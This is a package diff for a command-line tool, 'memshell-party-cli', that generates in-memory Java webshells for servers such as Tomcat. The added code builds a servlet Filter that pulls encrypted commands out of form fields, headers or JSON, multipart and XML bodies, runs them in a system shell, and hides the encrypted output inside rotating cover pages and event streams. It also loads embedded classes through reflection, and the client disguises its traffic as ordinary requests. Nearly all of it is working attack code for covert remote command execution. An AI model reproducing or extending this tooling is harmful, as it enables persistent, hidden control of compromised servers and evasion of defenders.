memshell-party-cli 0.6.0 → 0.7.0

package/dist/cli.js

@@ -44,6 +44,14 @@ var MemPartyClient = class {
   getCommandConfigs() {
     return this.request("GET", "/api/config/command/configs");
   }
+  /**
+   * Servers the ResponseBody probe can write a response on.
+   * Only exists on backend >= 2.9.0 — callers should fall back to the full
+   * server list when this endpoint 404s.
+   */
+  getProbeResponseBodyServers() {
+    return this.request("GET", "/api/config/probe/response-body/servers");
+  }
   getVersion() {
     return this.request("GET", "/api/version");
   }
@@ -1508,6 +1516,13 @@ import { randomInt as randomInt2 } from "crypto";
 import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
 import { homedir as homedir2 } from "os";
 import { join as join2 } from "path";
+function inferBodyTemplateContentType(bodyTemplate) {
+  const t = bodyTemplate.trimStart();
+  if (t.startsWith("--")) return "multipart/form-data";
+  if (t.startsWith("{") || t.startsWith("[")) return "application/json";
+  if (t.startsWith("<")) return "text/xml";
+  return null;
+}
 function profileTemplates(profile) {
   if (Array.isArray(profile.templates) && profile.templates.length > 0) {
     return profile.templates;
@@ -1538,6 +1553,7 @@ function pickRequestShape(requests) {
   return requests[requests.length - 1];
 }
 var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+var PAYLOAD_PLACEHOLDER = "{{payload}}";
 function profilesDir() {
   const override = process.env.MEMPARTY_PROFILES;
   return override ? override : join2(homedir2(), ".memparty", "profiles");
@@ -1559,8 +1575,10 @@ function validateProfile(profile) {
     throw new Error("profile needs at least one template (templates[] or legacy template)");
   }
   templates.forEach((t, i) => {
-    if (!t.template || !/<!doctype\s+html|<html|<head/i.test(t.template)) {
-      throw new Error(`templates[${i}].template must be a full HTML page`);
+    if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
+      throw new Error(
+        `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
+      );
     }
     if (!t.contentType) {
       throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
@@ -1576,6 +1594,24 @@ function validateProfile(profile) {
     if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
       throw new Error(`request[${ri}].secretIn must be body | query | header`);
     }
+    if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
+      throw new Error(`request[${ri}].bodyStyle must be form | json`);
+    }
+    if (req.bodyTemplate !== void 0) {
+      if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
+        throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
+      }
+      if (req.secretIn !== void 0 && req.secretIn !== "body") {
+        throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
+      }
+    }
+    if (req.headers !== void 0) {
+      for (const [k, v] of Object.entries(req.headers)) {
+        if (typeof v !== "string" || !k) {
+          throw new Error(`request[${ri}].headers must be a string map`);
+        }
+      }
+    }
     for (const [i, f] of (req.fields ?? []).entries()) {
       if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
         throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
@@ -1747,7 +1783,6 @@ function renderFieldValue(value) {
     (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
   );
 }
-var RIGHT_MARKER = '";';
 function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
   return encryptField(plaintext, aesKey, cipher);
 }
@@ -1760,6 +1795,50 @@ function buildFormBody(fields) {
     "utf8"
   );
 }
+function buildJsonBody(fields) {
+  const obj = {};
+  for (const f of fields) obj[f.name] = f.value;
+  return Buffer.from(JSON.stringify(obj), "utf8");
+}
+function renderBodyTemplate(template, payload) {
+  return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
+}
+function escapeRegExp(s) {
+  return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+function decodeJsonBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  const text = body.toString("utf8");
+  const m = new RegExp(`"${escapeRegExp(pass)}"\\s*:\\s*"([^"]*)"`).exec(text);
+  if (!m) return null;
+  try {
+    return decryptField2(m[1], aesKey, cipher);
+  } catch {
+    return null;
+  }
+}
+function decodeMultipartBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  const text = body.toString("utf8");
+  const m = new RegExp(`name="${escapeRegExp(pass)}"[^\\n]*\\r?\\n(\\r?\\n|[^\\n]*\\r?\\n)*\\r?\\n([^\\r\\n]*)`).exec(text);
+  if (!m) return null;
+  try {
+    return decryptField2(m[2], aesKey, cipher);
+  } catch {
+    return null;
+  }
+}
+function decodeXmlBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  const text = body.toString("utf8");
+  const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)</${escapeRegExp(pass)}>`).exec(text);
+  if (!m) return null;
+  try {
+    return decryptField2(m[1], aesKey, cipher);
+  } catch {
+    return null;
+  }
+}
+function decodeAnyBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
+  return decodeJsonBody(body, pass, aesKey, cipher) ?? decodeMultipartBody(body, pass, aesKey, cipher) ?? decodeXmlBody(body, pass, aesKey, cipher);
+}
 function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
   const text = body.toString("utf8");
   for (const pair of text.split("&")) {
@@ -1780,13 +1859,32 @@ function injectFragment(templateHtml, fragment) {
   if (idx === -1) return templateHtml + fragment;
   return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
 }
-function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
-  const start = html.indexOf(leftMarker);
+function extractBetween(text, left, right) {
+  const start = text.indexOf(left);
   if (start === -1) return null;
-  const valueStart = start + leftMarker.length;
-  const end = html.indexOf(rightMarker, valueStart);
+  const valueStart = start + left.length;
+  if (right === "") return text.slice(valueStart);
+  const end = text.indexOf(right, valueStart);
   if (end === -1) return null;
-  return html.slice(valueStart, end);
+  return text.slice(valueStart, end);
+}
+function templateDelimiters(templates, markers) {
+  const out = [];
+  let markerUsed = false;
+  for (const t of templates) {
+    const idx = t.template.indexOf("{{payload}}");
+    if (idx !== -1) {
+      out.push({
+        left: t.template.slice(0, idx),
+        right: t.template.slice(idx + "{{payload}}".length)
+      });
+    } else if (!markerUsed) {
+      out.push({ left: markers.left, right: markers.right });
+      markerUsed = true;
+    }
+  }
+  if (out.length === 0) out.push({ left: markers.left, right: markers.right });
+  return out;
 }
 
 // src/connect/mimic.ts
@@ -1828,6 +1926,7 @@ async function roundTrip(req, ctx, plaintext) {
   const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
   const secretField = shape?.secretField ?? ctx.pass;
   const secretIn = shape?.secretIn ?? "body";
+  const bodyStyle = shape?.bodyStyle ?? "form";
   const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
   const decoys = (shape?.fields ?? []).map((f) => ({
     name: f.name,
@@ -1841,11 +1940,29 @@ async function roundTrip(req, ctx, plaintext) {
     body = Buffer.alloc(0);
   } else if (secretIn === "header") {
     extraHeaders[secretField] = cipher;
-    body = buildFormBody(decoys);
+    body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
+  } else if (shape?.bodyTemplate) {
+    body = renderBodyTemplate(shape.bodyTemplate, cipher);
   } else {
-    body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
-  }
-  const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
+    body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
+  }
+  const baseHeaders = { ...BROWSER_HEADERS };
+  if (secretIn === "query") delete baseHeaders["Content-Type"];
+  else if (shape?.bodyTemplate) {
+    const t = shape.bodyTemplate.trimStart();
+    if (t.startsWith("--")) {
+      const boundary = t.split(/\r?\n/, 1)[0].slice(2);
+      baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
+    } else {
+      const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
+      if (inferred) baseHeaders["Content-Type"] = inferred;
+      else delete baseHeaders["Content-Type"];
+    }
+  } else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
+  const headers = buildHeaders(
+    { ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
+    req.common
+  );
   let res;
   try {
     res = await postRaw(requestUrl, body, {
@@ -1871,7 +1988,16 @@ async function roundTrip(req, ctx, plaintext) {
       durationMs: res.durationMs
     };
   }
-  const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
+  const text = res.body.toString("utf8");
+  const delimiters = templateDelimiters(
+    ctx.profile ? profileTemplates(ctx.profile) : [],
+    ctx.markers
+  );
+  let b64 = null;
+  for (const d of delimiters) {
+    b64 = extractBetween(text, d.left, d.right);
+    if (b64 !== null) break;
+  }
   if (b64 === null) {
     return {
       ok: false,
@@ -2437,9 +2563,98 @@ function resolveJreVersion(input3) {
 }
 
 // src/custom/java-template.ts
+function renderWrapperJava() {
+  return `package mimic;
+
+import java.io.*;
+import javax.servlet.*;
+import javax.servlet.http.*;
+
+/** Re-exposes a consumed request body to downstream filters/servlets. */
+public class CachedBody extends HttpServletRequestWrapper {
+    private final byte[] body;
+
+    public CachedBody(HttpServletRequest req, byte[] body) {
+        super(req);
+        this.body = body;
+    }
+
+    public ServletInputStream getInputStream() {
+        return new Stream(body);
+    }
+
+    public BufferedReader getReader() {
+        return new BufferedReader(new InputStreamReader(getInputStream()));
+    }
+
+    static class Stream extends ServletInputStream {
+        private final ByteArrayInputStream in;
+
+        Stream(byte[] body) {
+            this.in = new ByteArrayInputStream(body);
+        }
+
+        public int read() {
+            return in.read();
+        }
+
+        public boolean isFinished() {
+            return in.available() == 0;
+        }
+
+        public boolean isReady() {
+            return true;
+        }
+
+        public void setReadListener(ReadListener l) {}
+    }
+}
+`;
+}
 function javaStringLiteral(s) {
   return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
 }
+function wrapperLoaderMethods(opts) {
+  return `
+    /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
+        uploaded shell stays a single self-contained class file */
+    static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
+    static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
+
+    static Class<?> forNameQuiet(String name, ClassLoader cl) {
+        try {
+            return Class.forName(name, true, cl);
+        } catch (Throwable t) {
+            return null;
+        }
+    }
+
+    static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
+        try {
+            java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
+                String.class, byte[].class, int.class, int.class);
+            m.setAccessible(true);
+            byte[] bytes = java.util.Base64.getDecoder().decode(b64);
+            return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
+        } catch (Throwable t) {
+            return null; // another shell in this JVM already defined it
+        }
+    }
+
+    /** Wrap the request so downstream code can re-read the JSON body we consumed. */
+    static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
+        ClassLoader cl = ${opts.className}.class.getClassLoader();
+        Class<?> c = forNameQuiet("mimic.CachedBody", cl);
+        if (c == null) {
+            defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
+            c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
+            if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
+        }
+        return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
+            .newInstance(req, body);
+    }
+`;
+}
 var MD5_METHOD = String.raw`
     static String md5Hex(String s) throws Exception {
         MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2575,9 +2790,11 @@ function sharedMethods(cipher) {
   return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
 }
 function renderFilterJava(opts) {
-  const { className, pass, secret, fields, templates, cipher } = opts;
+  const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
   const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
-  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t)}"`).join(",\n");
+  const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
+  const tplsJava = templates.map((t) => `        "${javaStringLiteral(t.template)}"`).join(",\n");
+  const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
   return `package mimic;
 
 import java.io.*;
@@ -2592,37 +2809,120 @@ import javax.servlet.http.*;
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
  *   cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
  *
- * Detection uses getParameter()/getHeader() only, never reads the body
- * stream: form posts are parsed+cached by the container so downstream
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
- * untouched body stream for the shell behind us. Anything that is not ours
- * falls through chain.doFilter; any error answers with the cover page.
+ * Detection uses getParameter()/getHeader() first, never touching the body
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
+ * still see the body. Anything that is not ours falls through chain.doFilter;
+ * any error answers with the plain cover template.
  */
 public class ${className} implements Filter {
     /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
     static final String[] FIELDS = { ${fieldsJava} };
+    /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
+    static final String[] BODY_CTS = { ${bodyCtsJava} };
     /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
     static final String PASS = "${javaStringLiteral(pass)}";
     static final String SECRET = "${javaStringLiteral(secret)}";
-    /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
+    /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
     static final String[] TPLS = {
 ${tplsJava}
     };
+    /** Content-Type of each cover body (parallel to TPLS). */
+    static final String[] CTS = { ${ctsJava} };
 
     public void init(FilterConfig filterConfig) {}
     public void destroy() {}
 ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
+    static byte[] readAll(InputStream in) throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        byte[] buf = new byte[8192];
+        int n;
+        while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
+        return bos.toByteArray();
+    }
+
+    /** read the body only when its Content-Type is one the profile actually uses */
+    static boolean ctMatches(String ct) {
+        String l = ct.toLowerCase();
+        for (String n : BODY_CTS) if (l.contains(n)) return true;
+        return false;
+    }
+
+    /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
+    static String jsonField(String body, String field) {
+        String needle = "\\"" + field + "\\"";
+        int i = body.indexOf(needle);
+        if (i < 0) return null;
+        int colon = body.indexOf(':', i + needle.length());
+        if (colon < 0) return null;
+        int q1 = body.indexOf('"', colon + 1);
+        if (q1 < 0) return null;
+        int q2 = body.indexOf('"', q1 + 1);
+        if (q2 < 0) return null;
+        return body.substring(q1 + 1, q2);
+    }
+
+    /** minimal multipart extraction: the value follows the part headers of name="field" */
+    static String multipartField(String body, String field) {
+        String needle = "name=\\"" + field + "\\"";
+        int i = body.indexOf(needle);
+        if (i < 0) return null;
+        int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
+        int sepLen = 4;
+        if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
+        if (sep < 0) return null;
+        int start = sep + sepLen;
+        int end = body.indexOf('\\n', start);
+        if (end < 0) end = body.length();
+        String v = body.substring(start, end).trim();
+        return v.isEmpty() ? null : v;
+    }
+
+    /** minimal XML extraction: <field>value</field> */
+    static String xmlField(String body, String field) {
+        String open = "<" + field + ">";
+        int i = body.indexOf(open);
+        if (i < 0) return null;
+        int start = i + open.length();
+        int end = body.indexOf("</" + field + ">", start);
+        if (end < 0) return null;
+        return body.substring(start, end);
+    }
+${wrapperLoaderMethods(opts)}
     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
             throws IOException, ServletException {
+        HttpServletRequest httpReq = request instanceof HttpServletRequest
+                ? (HttpServletRequest) request : null;
         String value = null;
         for (String f : FIELDS) {
             value = request.getParameter(f);
-            if (value == null && request instanceof HttpServletRequest) {
+            if (value == null && httpReq != null) {
                 // secretIn=header: the ciphertext may ride a header instead of a form field
-                value = ((HttpServletRequest) request).getHeader(f);
+                value = httpReq.getHeader(f);
             }
             if (value != null) break;
         }
+        if (value == null && httpReq != null) {
+            // the ciphertext may ride a raw body of any bodyTemplate shape
+            // (JSON / multipart / XML\u2026). Read it once and re-expose it
+            // downstream via the caching wrapper.
+            String ct = httpReq.getContentType();
+            if (ct != null && ctMatches(ct)) {
+                try {
+                    byte[] bodyBytes = readAll(httpReq.getInputStream());
+                    String bodyText = new String(bodyBytes, "UTF-8");
+                    for (String f : FIELDS) {
+                        value = jsonField(bodyText, f);
+                        if (value == null) value = multipartField(bodyText, f);
+                        if (value == null) value = xmlField(bodyText, f);
+                        if (value != null) break;
+                    }
+                    request = wrapBody(httpReq, bodyBytes);
+                } catch (Throwable wrapperFailed) {
+                    // the body is already consumed \u2014 pass through as-is
+                }
+            }
+        }
         if (value == null) {
             chain.doFilter(request, response);
             return;
@@ -2634,11 +2934,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
             cmd = decryptField(value, aesKey);
         } catch (Exception notOurs) {
             // the field exists but doesn't decrypt \u2014 this is someone else's
-            // legitimate form (e.g. the real login POST), stay invisible
+            // legitimate request (e.g. the real login POST), stay invisible
             chain.doFilter(request, response);
             return;
         }
-        String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
+        int ti = new java.util.Random().nextInt(TPLS.length);
+        String tpl = TPLS[ti];
+        String tplCt = CTS[ti];
         try {
             String command = new String(cmd, "UTF-8");
             boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2647,22 +2949,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
                 : new ProcessBuilder("/bin/sh", "-c", command);
             pb.redirectErrorStream(true);
             Process proc = pb.start();
-            ByteArrayOutputStream bos = new ByteArrayOutputStream();
-            InputStream in = proc.getInputStream();
-            byte[] buf = new byte[8192];
-            int n;
-            while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
             proc.waitFor();
-            String payload = encryptField(bos.toByteArray(), aesKey);
-            String fragment = wrapPayload(payload, PASS + SECRET);
-            int idx = tpl.toLowerCase().lastIndexOf("</body>");
-            String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
-            response.setContentType("text/html;charset=UTF-8");
+            String payload = encryptField(readAll(proc.getInputStream()), aesKey);
+            String page;
+            if (tpl.contains("{{payload}}")) {
+                // placeholder template (any text format): substitute exactly there
+                page = tpl.replace("{{payload}}", payload);
+            } else {
+                String fragment = wrapPayload(payload, PASS + SECRET);
+                int idx = tpl.toLowerCase().lastIndexOf("</body>");
+                page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
+            }
+            response.setContentType(tplCt);
             response.setCharacterEncoding("UTF-8");
-            response.getWriter().write(page);
+            if (tplCt.contains("event-stream")) {
+                // flush chunk by chunk \u2014 a real SSE endpoint streams, a
+                // one-shot body is the wrong shape on the wire
+                java.io.PrintWriter w = response.getWriter();
+                for (String chunk : page.split("\\n\\n", -1)) {
+                    if (chunk.isEmpty()) continue;
+                    w.write(chunk);
+                    w.write("\\n\\n");
+                    w.flush();
+                    response.flushBuffer();
+                    try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
+                }
+            } else {
+                response.getWriter().write(page);
+            }
         } catch (Exception e) {
-            // behave like the cover page on any error \u2014 stay quiet
-            response.setContentType("text/html;charset=UTF-8");
+            // behave like the cover body on any error \u2014 stay quiet
+            response.setContentType(tplCt);
             response.getWriter().write(tpl);
         }
     }
@@ -2715,6 +3032,29 @@ function profileSecretFields(profile) {
   const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
   return fields.length > 0 ? fields : ["pass"];
 }
+function ctNeedle(ct) {
+  const media = ct.toLowerCase().split(";", 1)[0].trim();
+  if (media.includes("json")) return "json";
+  if (media.includes("multipart")) return "multipart";
+  if (media.includes("xml")) return "xml";
+  return media;
+}
+function profileBodyContentTypes(profile) {
+  const needles = /* @__PURE__ */ new Set();
+  for (const r of profileRequests(profile)) {
+    if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
+    if (r.bodyTemplate !== void 0) {
+      const explicit = Object.entries(r.headers ?? {}).find(
+        ([k]) => k.toLowerCase() === "content-type"
+      )?.[1];
+      const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
+      if (ct) needles.add(ctNeedle(ct));
+    } else if (r.bodyStyle === "json") {
+      needles.add("json");
+    }
+  }
+  return [...needles];
+}
 function defaultClassName() {
   return `MimicFilter${randomString(4)}`;
 }
@@ -2726,20 +3066,32 @@ async function buildCustomMemshell(input3, client, deps = {}) {
   const urlPattern = input3.urlPattern ?? "/*";
   const packer = input3.packer ?? "DefaultBase64";
   const cipher = resolveCipher(input3.profile.cipher);
-  const templates = profileTemplates(input3.profile).map((t) => t.template);
+  const templates = profileTemplates(input3.profile).map((t) => ({
+    template: t.template,
+    contentType: t.contentType
+  }));
   if (templates.length === 0) {
     throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
   }
   const outDir = input3.outDir;
   const packageDir = join5(outDir, "mimic");
   mkdirSync4(packageDir, { recursive: true });
+  const wrapperFile = join5(packageDir, "CachedBody.java");
+  writeFileSync3(wrapperFile, renderWrapperJava(), "utf8");
+  compile([wrapperFile], outDir, { classpath: [jarOf()] });
+  const wrapper = {
+    bodyB64: readFileSync5(join5(packageDir, "CachedBody.class")).toString("base64"),
+    streamB64: readFileSync5(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
+  };
   const javaSource = renderFilterJava({
     className,
     pass: input3.pass,
     secret: input3.secret,
     fields: profileSecretFields(input3.profile),
+    bodyContentTypes: profileBodyContentTypes(input3.profile),
     templates,
-    cipher
+    cipher,
+    wrapper
   });
   const javaFile = join5(packageDir, `${className}.java`);
   writeFileSync3(javaFile, javaSource, "utf8");
@@ -3004,20 +3356,29 @@ async function startMimicServer(options = {}) {
   const aesKey = deriveAesKey(secretKey);
   const markers = deriveMarkers(pass, secretKey, cipher);
   const execTimeoutMs = options.execTimeoutMs ?? 5e3;
-  const skin = PAGES["/"];
+  const skins = options.templates ?? [
+    { title: "mock", template: PAGES["/"], contentType: "text/html; charset=utf-8" }
+  ];
+  const fields = options.fields ?? [pass];
   const server = http2.createServer((req, res) => {
     if (req.method === "POST") {
       const chunks = [];
       req.on("data", (c) => chunks.push(c));
       req.on("end", () => {
-        let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
-        if (command === null) {
-          const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
-          if (query) command = tryDecrypt(query, aesKey, cipher);
-        }
-        if (command === null) {
-          const header = req.headers[pass.toLowerCase()];
-          if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
+        const rawBody = Buffer.concat(chunks);
+        let command = null;
+        for (const f of fields) {
+          command = decodeRequestBody(rawBody, f, aesKey, cipher);
+          if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher);
+          if (command === null) {
+            const query = new URL(req.url ?? "/", "http://x").searchParams.get(f);
+            if (query) command = tryDecrypt(query, aesKey, cipher);
+          }
+          if (command === null) {
+            const header = req.headers[f.toLowerCase()];
+            if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
+          }
+          if (command !== null) break;
         }
         if (command === null) {
           res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
@@ -3026,8 +3387,26 @@ async function startMimicServer(options = {}) {
         }
         void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
           const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
-          res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
-          res.end(injectFragment(skin, markers.wrap(b64)));
+          const skin = skins[Math.floor(Math.random() * skins.length)];
+          const body = skin.template.includes(PAYLOAD_PLACEHOLDER) ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64) : injectFragment(skin.template, markers.wrap(b64));
+          res.writeHead(200, { "Content-Type": skin.contentType });
+          if (skin.contentType.includes("event-stream")) {
+            const sseChunks = body.split("\n\n").filter((c) => c.length > 0);
+            let i = 0;
+            const next = () => {
+              if (i < sseChunks.length) {
+                res.write(`${sseChunks[i++]}
+
+`);
+                setTimeout(next, 25);
+              } else {
+                res.end();
+              }
+            };
+            next();
+          } else {
+            res.end(body);
+          }
         });
       });
       return;
@@ -3291,6 +3670,21 @@ function emitPayload(payload, opts, sinks = {}) {
 `);
   return { destination: "stdout", size: payload.length, decoded: false };
 }
+function hasMultiplePackResults(r) {
+  return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
+}
+function emitSinglePackResult(r, opts, sinks = {}) {
+  if (hasMultiplePackResults(r)) {
+    const n = Object.keys(r.allPackResults).length;
+    throw new Error(
+      `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
+    );
+  }
+  if (r.packResult === void 0) {
+    throw new Error("Server returned no packResult.");
+  }
+  return emitPayload(r.packResult, opts, sinks);
+}
 
 // src/core/request-builder.ts
 import { randomInt as randomInt3 } from "crypto";
@@ -3515,7 +3909,7 @@ function toOptions(o) {
   };
 }
 function registerGenCommand(program) {
-  program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
+  program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
     "after",
     `
 Examples:
@@ -3531,8 +3925,9 @@ Examples:
 Note: run 'memparty config' to list the available servers, tools, shell
 types and packers. Some packers (e.g. Base64) are aggregate packers that
 return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
-for a single payload. The --json output includes the gate header
